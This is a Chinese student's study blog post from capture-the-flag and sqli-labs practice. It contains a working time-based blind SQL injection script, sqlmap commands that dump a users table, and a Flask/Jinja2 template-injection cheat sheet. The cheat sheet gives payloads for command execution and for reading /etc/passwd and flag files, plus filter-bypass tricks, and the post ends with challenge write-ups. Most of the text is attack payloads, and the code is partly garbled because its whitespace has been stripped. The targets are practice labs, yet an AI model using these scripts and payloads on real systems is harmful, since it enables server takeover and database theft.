SSTI(第六周)

发布时间:2026/7/5 13:10:03
SSTI(第六周) sql盲注脚本经过我的不懈努力和对AI的调教也是终于把上一篇的脚本改好了importrequestsimporttimeimporturllib.parsefrombottleimportresponse#数据库名长度没有判断?这个要手工注入#用的时候记得修改url和payload以及相应的参数名字呀urlhttp://192.168.90.154/Less-8/#延时的判断时间delay0.5# 获取数据库名称length9 payload { password:funion select if(length(database()){length},sleep(3),1),2#, username:\\ } defstring_to_hex(input_string):return0x.join(f{ord(char):02x}forcharininput_string)defget_db_name(length):db_nameforiinrange(1,length1):forascii_codeinrange(32,127): payload { password: funion select if(ascii(substr(database(),{i},1)){ascii_code},sleep(2),1),2#, username: \\ } payloadf?id1 and if(ASCII(SUBSTRING(database(),{i},1)){ascii_code},sleep(1),1)--start_timetime.time()# responserequests.post(url,datapayload)responserequests.get(urlpayload)#print(f[]Time:{time.time()-start_time}[] id: {i} []ascii: {ascii_code} []char: {chr(ascii_code)})iftime.time()-start_timedelay:print(f[]Time:{time.time()-start_time}[]id:{i}[]ascii:{ascii_code}[]char:{chr(ascii_code)})db_namechr(ascii_code)#print(chr(ascii_code),end)breakreturndb_namedefget_db_tables(db_name,limit):tb_names[]db_namestring_to_hex(db_name)fortable_indexinrange(0,limit):print(f获取第{table_index1}个表名中)tb_nameforiinrange(1,10):forascii_codeinrange(32,127): payload { password: funion select if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),{i},1)){ascii_code},sleep(2),1),2#, username: \\ } payloadf?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schema{db_name}limit{table_index},1),{i},1)){ascii_code},sleep(1),1)--start_timetime.time()# responserequests.get(url,datapayload)responserequests.get(urlpayload,timeout5)# print(f[]Time: {time.time() - start_time} []id: {i} []ascii: {ascii_code} []char: {chr(ascii_code)})iftime.time()-start_timedelay:print(f[]Time:{time.time()-start_time}[]id:{i}[]ascii:{ascii_code}[]char:{chr(ascii_code)})tb_namechr(ascii_code)breakelse:continueiftb_name:tb_names.append(tb_name)returntb_namesdefget_tb_columns(tb_name,db_name,limit):col_names[]#col_name db_namestring_to_hex(db_name)tb_namestring_to_hex(tb_name)forcolumn_indexinrange(0,limit):col_nameprint(f获取第{column_index1}个列名中)foriinrange(1,10):forascii_codeinrange(32,127): payload { password: funion select if(ascii(substr((select column_name from information_schema.columns where table_name{tb_name} and table_schemadatabase() limit {limit},1),{i},1)){ascii_code},sleep(2),1),2#, username: \\ } payloadf?id1 and if(ascii(substr((select column_name from information_schema.columns where table_name{tb_name}and table_schemadatabase() limit{column_index},1),{i},1)){ascii_code},sleep(1),1)--start_timetime.time()# responserequests.post(url,datapayload)responserequests.get(urlpayload,timeout5)# print(f[]Time: {time.time() - start_time} []id: {i} []ascii: {ascii_code} []char: {chr(ascii_code)})iftime.time()-start_timedelay:print(f[]Time:{time.time()-start_time}[]id:{i}[]ascii:{ascii_code}[]char:{chr(ascii_code)})col_namechr(ascii_code)breakelse:continueifcol_name:col_names.append(col_name)returncol_namesdefget_columns_fields(col_name,tb_name,db_name,limit):cols_names[]#cols_name forfield_indexinrange(0,limit):print(f获取第{field_index1}个数据中)cols_nameforiinrange(1,18):forascii_codeinrange(32,127): payload { password: funion select if(ascii(substr((select {col_name} from {db_name}.{tb_name} limit {limit},1),{i},1)){ascii_code},sleep(2),1),2#, username: \\ } payloadf?id1 and if(ascii(substr((select{col_name}from{db_name}.{tb_name}limit{field_index},1),{i},1)){ascii_code},sleep(1),1)--start_timetime.time()# response requests.post(url, datapayload)responserequests.get(urlpayload,timeout5)# print(f[]Time: {time.time() - start_time} []id: {i} []ascii: {ascii_code} []char: {chr(ascii_code)})iftime.time()-start_timedelay:print(f[]Time:{time.time()-start_time}[]id:{i}[]ascii:{ascii_code}[]char:{chr(ascii_code)})cols_namechr(ascii_code)breakelse:continueifcols_name:cols_names.append(cols_name)returncols_namesdefmain():#print(Getting database name...)#db_nameget_db_name(length)#print(f[]Database name: {db_name})#print(Getting table name...)#table_names get_db_tables(security, 10)#print(fTable names: {table_names})print(Getting column names...)column_namesget_tb_columns(users,security,5)print(fColumn names:{column_names})#print(Getting fields...)#data get_columns_fields(username, users, security, 10)#print(fdata: {data})if__name____main__:main()SSTI模板注入Flask漏洞危害和原因flash环境启动和关闭开放所有物理接口?启用debug修改参数更方便?port开启监听其他端口简单来说就是先注入在解析?render_temple_string?就可能存在模板注入常见ssti模板继承关系和魔术方法所有对象的基类都是object__class__ : 类的一个内置属性?表示实例对象的类。__base__ : 类型对象的直接基类__bases__ : 类型对象的全部基类?以元组形式?类型的实例通常没有属性bases__mro__ : 查看继承关系和调用顺序?返回元组。此属性是由类组成的元组?在方法解析期间会基于它来查找基类。__subclasses__: 查看父类下的所有子类__init__ : 初始化类返回的类型是function__globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。__builtins__ 内建名称空间?内建名称空间有许多名字到对象之间映射?而这些名字其实就是内建函数的名称?对象就是这些内建函数本身.常用注入模板#查看模块位置importrequests urlforiinrange(500):#name和对应的payload都需要修改?模板是想要用的可以实现命令执行或者包含命令执行函数的模板data{name:{{().__class__.__base__.__subclasses__()[str(i)].__init__.globals__}}}try:responserequests.post(url,datadata)ifresponse.status_code200:if模板inresponse.text:print(i)except:pass1. 文件读取_frozen_importlib_external.FileLoader{{.__class__.__base__.__subclasses__()[79][get_data](0,路由)}}“无实例方法调用”,这种可以不利用__init__初始化类直接使用函数方法2. 内建函数eval 执行命令{{.__class__.__bases__[0].__subclasses_()[65].__init__.globals__[__builtins__][eval](__import__(os).popen(cat /etc/passwd).read())}}3. os 模块执行命令?os.py?通过config调用os{{config.__class__.__init__.__globals__[os].popen(cmd).read()}}通过usr_for{{url_for.__globals__.os.popen(cmd).read()}}通过加载好的子类{{.__class__.__bases__[0].__subclasses_()[199].__init__.globals__[os].popen(cmd).read()}}4. importlib{{[].__class__.__base__.__subclasses__()[69][load_module](os)[popen](cmd).read()}}5. linecache{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__[linecache][os].popen(cmd).read()}}6. subprocess.Popen{{[].__class__.__base__.__subclasses__()[200](cmd,shellTrue,stdout-1).communicate()[0].strip()}}7. 全局变量lipsum 直接命令执行?name{{lipsum.__globals__[__builtins__][eval](__import__(os).popen(tac /*).read())}}绕过方式过滤魔术方法可以利用python的拼接字符串原理?如下?name{{[__class__]}} {{[[__cla,ss__]|join]}} {{[__cla~ss__]}}过滤下划线和引号可以用[request.args/values.name]或者如果要去引号则可以直接把括号内的内容改为request.args.name{{ [].__class__.__bases__[0].__subclasses__()[40].__init__.__globals__[request.args.builtins].__import__(request.args.os).popen(request.args.cmd).read() }} # URL: ?builtins__builtins__ososcmdwhoami过滤中括号可以用pop函数或者__getitem__来替代?如果pop拿子类用的是__bases__[0]的话要用|list过滤器{{().__class__.__bases__|list|pop(0).__subclasses__()pop(139).__init__.__globals__.popen(whoami).read()}} {{().__class__.__bases__.__getitem__(0).__subclasses__()pop(139).__init__.__globals__.__getitem__.(popen)(whoami).read()}}过滤点可以用|attr()替代{{|attr(__class__)}}过滤双层大括号可以用{%%}去完成命令执行?如下#if判断{%if21%}success{%endif%}#print()输出{%print(payload)%}过滤数字用{%%}命令执行配合set和|length去完成数字计算{% set aaaaaa|length*aaaa|length %}{{a}}{{.__class__.__base__.__subclasses__()[a]}} #a20常用过滤器Writeupsqli-labs3这题试出来了闭合方式是?id1’)后面的步骤我用sqlmap?熟悉一下这个工具sqlmap -u http://localhost/Less-3/?id1 --batch --dbssqlmap -u http://192.168.90.154/Less-3/?id1 --batch -D security --tablesqlmap -u http://192.168.90.154/Less-3/?id1 --batch -D security -T users --dump不得不说还是工具方便啊4这关的闭合方式是双引号加括号?其他就不重复尝试了8这关的闭合是单引号?但是无明显回显?用盲注脚本跑一下这里因为找的脚本是注入POST提交方式的?自己去尝试修改了一下脚本?只跑了一下数据库名?因为其他函数还没修改好?就先这样了嗨嗨嗨?我又回来了?改良版爆库名脚本终于修改好了?列名脚本修改中大功告成?列名和数据获取都修好了10这关无论输入什么都是一样的情况?页面无变化?可以用sleep试出闭合方式?闭合方式为双引号后面依旧让脚本跑一遍就行[第三章 web进阶]SSTI页面就一个password?试一下是不是get参数?成功用7*7试一下存不存在ssti的jijia2模板注入后续先用python脚本找一下想要模板的位置?我这里先用_frozen_importlib_external.FileLoader套入模板,但是这个模板需要知道flag路径才行{{.__class__.__base__.__subclasses__()[79][get_data](0,路由)}}换一个把?用os{{url_for.__globals__.os.popen(cmd).read()}}找一下flag文件,有一个flag.txt但没有flag找一下环境变量?拿到flag这是假的???全局搜索太慢了?去搜了一下writeup发现在/app/server.py中20 第二十章 幽冥血海·幻语心魔这题会回显用户名?密码随便输尝试jijia2模板?成功用eval模板玩一下?先找到哪里有eval?拿脚本跑一下然后用模板里面的eval执行相关命令?username{{().__class__.__base__.__subclasses__()[300].__init__.__globals__[__builtins__].eval(__import__(os).popen(cat /flag).read())}}password1121 第二十一章 往生漩涡·言灵死局题目提示了过滤参数那就绕过过滤构造payloadurl?class__class__base__base__subclasses__subclasses__username{% if [request.args.class][request.args.base][request.args.subclasses]()[str(i)][\load_module\](\os\).popen(\ls /\).read() %}success{% endif %}password1找到模板位置把if换位print打印结果?class__class__base__base__subclasses__subclasses__username{% print ([request.args.class][request.args.base][request.args.subclasses]()[108][load_module](os).popen(ls /).read()) %}password1读取flag?class__class__base__base__subclasses__subclasses__username{% print ([request.args.class][request.args.base][request.args.subclasses]()[108][load_module](os).popen(nl /flag).read()) %}password1[NewStarCTF 公开赛赛道]BabySSTI_One提示告诉我们这是SSTI注入中的FLASK模板?尝试get传入name参数得到参数为name先尝试拿到object类?name{{.__class__.__base__}}存在waf?判断一下过滤了哪些?nameclass ?namebase ?nameinit ?namesubclasses看来只是过滤了魔术方法?可用[‘cla’ss’]绕过?用脚本跑一下os.py的位置name: {{[__class__][__base__][__subclasses__]()[str(i)][__init__][__globals__]}}利用该位置的os去完成命令执行?这个117的os不完整?换成269?name{{[__class__][__base__][__subclasses__]()[269][__init__][__globals__][os].popen(ls /).read()}}根目录下发现flag文件,尝试读取?但是被拦截?name{{[__class__][__base__][__subclasses__]()[269][__init__][__globals__][os].popen(cat /flag_in_here).read()}}判断是拦截了cat还是flag?发现是都被拦截?用引号截断绕过拦截?拿到flag?name{{[__class__][__base__][__subclasses__]()[269][__init__][__globals__][os].popen(cat /flag_in_here).read()}}[NewStarCTF 公开赛赛道]BabySSTI_Two这题相较于上一题添加了非常多的过滤?这两题应该是关闭了request.args等另外传参的功能?导致变的有点糟糕?无从下手?现总结一下过滤了哪些把“空格”“几乎所有魔术方法”“命令执行函数”?~等字符串连接符因为加号被过滤的缘故?上一题的payload很难被套用?但是通过查找资料发现了|join的过滤器可以实现字符串连接?join没有被过滤?那我们把所有的换成|join然后用${IFS}就可以成功绕过啦?name{{[[__cla,ss__]|join][[__ba,se__]|join][[__subcl,asses__]|join]()[269][[__in,it__]|join][[__glo,bals__]|join][os][[po,pen]|join](cat${IFS}/flag*).read()}}